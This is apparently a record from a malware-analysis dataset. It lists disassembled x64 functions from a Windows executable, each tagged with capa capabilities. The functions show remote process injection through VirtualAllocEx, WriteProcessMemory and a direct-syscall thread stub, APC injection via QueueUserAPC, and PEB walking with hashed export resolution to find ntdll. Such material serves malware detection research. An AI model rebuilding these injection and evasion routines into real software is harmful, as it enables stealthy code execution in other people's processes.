joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003c50
Capabilities:
Allocate or change rwx memory

Disassembly:
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rsp + 0x70], rax
cmp byte [rcx + 0x20], 0
mov esi, edx
mov rdi, rcx
jne 0x140003c8c
lea rdx, str.____Invalid_PID_t
lea rcx, [0x14004e810]
call fcn.140002810
jmp 0x140003e75
test esi, esi
je 0x140003e75
mov r8d, esi
mov qword [rsp + 0xb0], rbx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140003e6d
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, rax
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, rbx
test rax, rax
jne 0x140003ce8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003e6d
mov r9d, 0x8000
mov qword [rsp + 0x80], rbp
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebp, ebp
mov r8d, esi
xor edx, edx
mov qword [rsp + 0x68], rbp
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov rcx, rax
mov r9d, 0x1000
mov r8d, 0x100
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140003e65
cmp rbx, 0xffffffffffffffff
je 0x140003e65
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x140003d67
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
lea rax, [rsp + 0x68]
inc r9
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003e44
lea rcx, [0x140046c28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140003e44
lea rdx, [0x140046c38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003e44
mov qword [rsp + 0x50], rbp
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x48], rbp
mov r9, rbx
mov qword [rsp + 0x40], rbp
xor r8d, r8d
mov qword [rsp + 0x38], rbp
mov edx, 0x1fffff
mov dword [rsp + 0x30], ebp
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x60], rbp
call fcn.140009ad0
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140003e18
test eax, eax
jne 0x140003e18
mov edx, 0x1f4
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x1000
mov r8d, 0x300
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140003e65
mov r9d, 0x1000
mov r8d, 0x300
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x80]
mov rbx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14000ddc0
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x140003e90
Capabilities:
Enumerate process modules

Disassembly:
test edx, edx
je 0x140003fde
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x14c0
call fcn.14000e430
sub rsp, rax
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rsp + 0x14b0], rax
mov esi, edx
mov dword [rsp + 0x70], 0x438
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x434
call fcn.140010570
cmp byte [rdi + 0x20], 0
je 0x140003fbe
mov edx, esi
mov qword [rsp + 0x14d0], rbx
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003fb6
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x140003fad
nop
lea rax, [rsp + 0x2a0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140003f30
inc r8
mov qword [rsp + 0x20], 0xffffffffffffffff
lea r9, [rsp + 0x2a0]
xor ecx, ecx
lea rdx, [rsp + 0x4b0]
call fcn.1400170b4
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x140003f6b
mov r8, qword [rdi]
lea rax, [rsp + 0x4b0]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140003f93
inc rax
test ecx, ecx
jne 0x140003f80
mov rcx, rbx
test edx, edx
je 0x140003fdf
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x140003f20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x14d0]
mov rcx, qword [rsp + 0x14b0]
xor rcx, rsp
call fcn.14000ddc0
mov rsi, qword [rsp + 0x14e0]
add rsp, 0x14c0
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rsp + 0x60], 0
je 0x140003fb6
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140003fb6
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x140003fad
lea rdx, [0x140046c68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
je 0x14000409d
xor eax, eax
mov r9, rbx
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov edx, 0x1fffff
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x68]
call fcn.140009ad0
mov rcx, qword [rsp + 0x68]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140003fad
test eax, eax
jne 0x140003fad
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140003fb6
Function at 0x140003e98
Capabilities:
Enumerate process modules

Disassembly:
test edx, edx
je 0x140003fde
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x14c0
call fcn.14000e430
sub rsp, rax
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rsp + 0x14b0], rax
mov esi, edx
mov dword [rsp + 0x70], 0x438
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x434
call fcn.140010570
cmp byte [rdi + 0x20], 0
je 0x140003fbe
mov edx, esi
mov qword [rsp + 0x14d0], rbx
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003fb6
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x140003fad
nop
lea rax, [rsp + 0x2a0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140003f30
inc r8
mov qword [rsp + 0x20], 0xffffffffffffffff
lea r9, [rsp + 0x2a0]
xor ecx, ecx
lea rdx, [rsp + 0x4b0]
call fcn.1400170b4
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x140003f6b
mov r8, qword [rdi]
lea rax, [rsp + 0x4b0]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140003f93
inc rax
test ecx, ecx
jne 0x140003f80
mov rcx, rbx
test edx, edx
je 0x140003fdf
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x140003f20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x14d0]
mov rcx, qword [rsp + 0x14b0]
xor rcx, rsp
call fcn.14000ddc0
mov rsi, qword [rsp + 0x14e0]
add rsp, 0x14c0
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rsp + 0x60], 0
je 0x140003fb6
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140003fb6
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x140003fad
lea rdx, [0x140046c68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
je 0x14000409d
xor eax, eax
mov r9, rbx
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov edx, 0x1fffff
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x68]
call fcn.140009ad0
mov rcx, qword [rsp + 0x68]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140003fad
test eax, eax
jne 0x140003fad
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140003fb6
Function at 0x140004360
Capabilities:
Enumerate threads
Inject apc

Disassembly:
test edx, edx
je 0x1400045c2
push rbx
push rdi
sub rsp, 0x68
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp byte [rcx + 0x20], 0
mov edi, edx
mov rbx, rcx
je 0x1400045af
mov r8d, edx
mov qword [rsp + 0x98], rsi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400045a7
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, rax
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, rsi
test rax, rax
jne 0x1400043e0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400045a7
mov r9d, 0x8000
mov qword [rsp + 0x90], rbp
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov qword [rsp + 0x50], 0
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov rcx, rax
mov r9d, 0x1000
mov r8d, 0x300
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x14000459f
cmp rsi, 0xffffffffffffffff
je 0x14000459f
cmp qword [rbx + 0x18], 0x10
mov r8, rbx
jb 0x140004461
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
lea rax, [rsp + 0x50]
inc r9
mov qword [rsp + 0x60], r14
mov rdx, rbp
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004579
lea rcx, [0x140046c28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140004579
lea rdx, [0x140046c38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x140004579
xor eax, eax
mov dword [rsp + 0x30], 0x1c
xorps xmm0, xmm0
mov qword [rsp + 0x44], rax
xor edx, edx
movups xmmword [rsp + 0x34], xmm0
lea ecx, [rax + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140004579
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x140004553
cmp dword [rsp + 0x3c], edi
je 0x14000451c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140004502
jmp 0x140004553
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140004553
mov r8, rbp
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x1000
mov r8d, 0x300
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
jmp 0x140004594
mov r9d, 0x1000
mov r8d, 0x300
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000ddc0
add rsp, 0x68
pop rdi
pop rbx
ret
Function at 0x140004368
Capabilities:
Allocate or change rwx memory
Enumerate threads
Inject apc

Disassembly:
test edx, edx
je 0x1400045c2
push rbx
push rdi
sub rsp, 0x68
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp byte [rcx + 0x20], 0
mov edi, edx
mov rbx, rcx
je 0x1400045af
mov r8d, edx
mov qword [rsp + 0x98], rsi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400045a7
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, rax
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, rsi
test rax, rax
jne 0x1400043e0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400045a7
mov r9d, 0x8000
mov qword [rsp + 0x90], rbp
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov qword [rsp + 0x50], 0
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov rcx, rax
mov r9d, 0x1000
mov r8d, 0x300
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x14000459f
cmp rsi, 0xffffffffffffffff
je 0x14000459f
cmp qword [rbx + 0x18], 0x10
mov r8, rbx
jb 0x140004461
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
lea rax, [rsp + 0x50]
inc r9
mov qword [rsp + 0x60], r14
mov rdx, rbp
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004579
lea rcx, [0x140046c28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140004579
lea rdx, [0x140046c38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x140004579
xor eax, eax
mov dword [rsp + 0x30], 0x1c
xorps xmm0, xmm0
mov qword [rsp + 0x44], rax
xor edx, edx
movups xmmword [rsp + 0x34], xmm0
lea ecx, [rax + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140004579
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x140004553
cmp dword [rsp + 0x3c], edi
je 0x14000451c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140004502
jmp 0x140004553
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140004553
mov r8, rbp
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x1000
mov r8d, 0x300
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
jmp 0x140004594
mov r9d, 0x1000
mov r8d, 0x300
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000ddc0
add rsp, 0x68
pop rdi
pop rbx
ret
Function at 0x1400048e0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov ebx, r8d
mov rdi, rdx
mov qword [rbp + 0xf], rdx
lea rcx, [rbp - 0x19]
call fcn.140002420
mov rdx, rax
lea rcx, [rbp + 0x17]
call fcn.140002040
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov ebx, dword [rbp + 0x27]
inc ebx
mov r8d, ebx
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140004a83
cmp rsi, 0xffffffffffffffff
je 0x140004a83
lea r8, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0x10
cmovae r8, qword [rbp + 0x17]
lea r9d, [rbx - 1]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400049fd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x27]
inc rdx
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0x10
jb 0x140004abc
inc rdx
mov rcx, qword [rbp + 0x17]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400049f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b34
call fcn.14000dde4
jmp 0x140004abc
mov qword [rbp + 7], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov r9, rsi
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 7]
call fcn.140009ad0
mov rcx, qword [rbp + 7]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140004a7b
test eax, eax
jne 0x140004a7b
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbp + 0x27]
inc r8
mov r9d, 0x1000
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400049b9
mov r8d, 0x300
jmp 0x140004a5b
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0x10
jb 0x140004aba
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ab5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b34
call fcn.14000dde4
xor ebx, ebx
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], 0xf
mov byte [rbp + 0x17], bl
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140004b01
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140004afc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004b3a
mov rcx, r8
call fcn.14000dde4
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14000ddc0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.140014558
nop
call fcn.140014558
int3
Function at 0x140009870
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r12
sub rsp, 0x20
cmp dword [0x14004ff80], 0
jne 0x140009a6e
mov rax, qword gs:[0x60]
xor r12d, r12d
mov edx, r12d
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x140009a7a
nop word [rax + rax]
mov r11, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400098ed
lea rdx, [r11 + rcx]
mov ecx, dword [r11 + rcx + 0xc]
mov eax, dword [rcx + r11]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x1400098ed
mov eax, dword [rcx + r11 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x1400098f9
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x1400098b0
test rdx, rdx
je 0x140009a7a
mov qword [rsp + 0x30], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x38], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x40], rsi
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x18], rdi
add rsi, r11
mov qword [rsp + 0x10], r13
mov r13d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
mov edx, r12d
add r14, r11
mov qword [rsp], r15
add rbp, r11
lea r15, [0x14004ff80]
nop word [rax + rax]
dec ebx
mov r10d, dword [rsi + rbx*4]
add r10, r11
cmp word [r10], r13w
jne 0x1400099b3
mov r9d, r12d
mov r8d, 0xeb0ca24d
mov rax, r10
nop dword [rax + rax]
movzx eax, word [rax]
mov ecx, r8d
ror ecx, 8
inc r9d
add ecx, eax
mov eax, r9d
add rax, r10
xor r8d, ecx
cmp byte [rax], r12b
jne 0x140009970
mov ecx, edx
inc edx
add rcx, rcx
mov dword [r15 + rcx*8 + 8], r8d
movzx eax, word [rbp + rbx*2]
mov eax, dword [r14 + rax*4]
mov dword [r15 + rcx*8 + 0xc], eax
mov qword [r15 + rcx*8 + 0x10], r12
cmp edx, 0x258
je 0x1400099b7
test ebx, ebx
jne 0x140009950
mov r14, qword [rsp + 8]
lea eax, [rdx - 1]
mov r13, qword [rsp + 0x10]
mov r11d, r12d
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov dword [0x14004ff80], edx
test eax, eax
je 0x140009a60
nop
mov ecx, edx
mov eax, r12d
sub ecx, r11d
cmp ecx, 1
je 0x140009a55
nop dword [rax]
lea r10d, [rax + 1]
mov r9d, eax
add r9, r9
mov r8d, r10d
add r8, r8
mov edi, dword [r15 + r9*8 + 0xc]
mov ebx, dword [r15 + r8*8 + 0xc]
cmp edi, ebx
jbe 0x140009a46
mov edx, dword [r15 + r9*8 + 8]
mov eax, dword [r15 + r8*8 + 8]
mov rcx, qword [r15 + r9*8 + 0x10]
mov dword [r15 + r9*8 + 8], eax
mov rax, qword [r15 + r8*8 + 0x10]
mov qword [r15 + r9*8 + 0x10], rax
mov dword [r15 + r9*8 + 0xc], ebx
mov dword [r15 + r8*8 + 8], edx
mov dword [r15 + r8*8 + 0xc], edi
mov qword [r15 + r8*8 + 0x10], rcx
mov edx, dword [0x14004ff80]
mov ecx, edx
mov eax, r10d
sub ecx, r11d
dec ecx
cmp r10d, ecx
jb 0x1400099f0
inc r11d
lea eax, [rdx - 1]
cmp r11d, eax
jb 0x1400099e0
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x30]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x20
pop r12
ret
xor eax, eax
add rsp, 0x20
pop r12
ret
Function at 0x140009ad0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x84a94afe
call fcn.140009a90
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x14002352c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140023328
Function at 0x14002b380
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14000e430
sub rsp, rax
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140027c90
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14002b3cf
mov rax, rbp
jmp 0x14002b4d7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x4f800]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14002c668
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x4f800]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14002b4d3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002b4d3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14002c668
test rax, rax
js 0x14002b4d3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14002b4d3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14002b4c5
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14002b4c5
cmp byte [rcx], 0xd
jne 0x14002b4ab
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002b4ba
cmp byte [rcx + 1], 0xa
jne 0x14002b4ba
inc rcx
jmp 0x14002b4ba
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x4d420]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14002b48d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002b4d7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000ddc0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14002b7f4
Capabilities:
Get file size

Disassembly:
push rbx
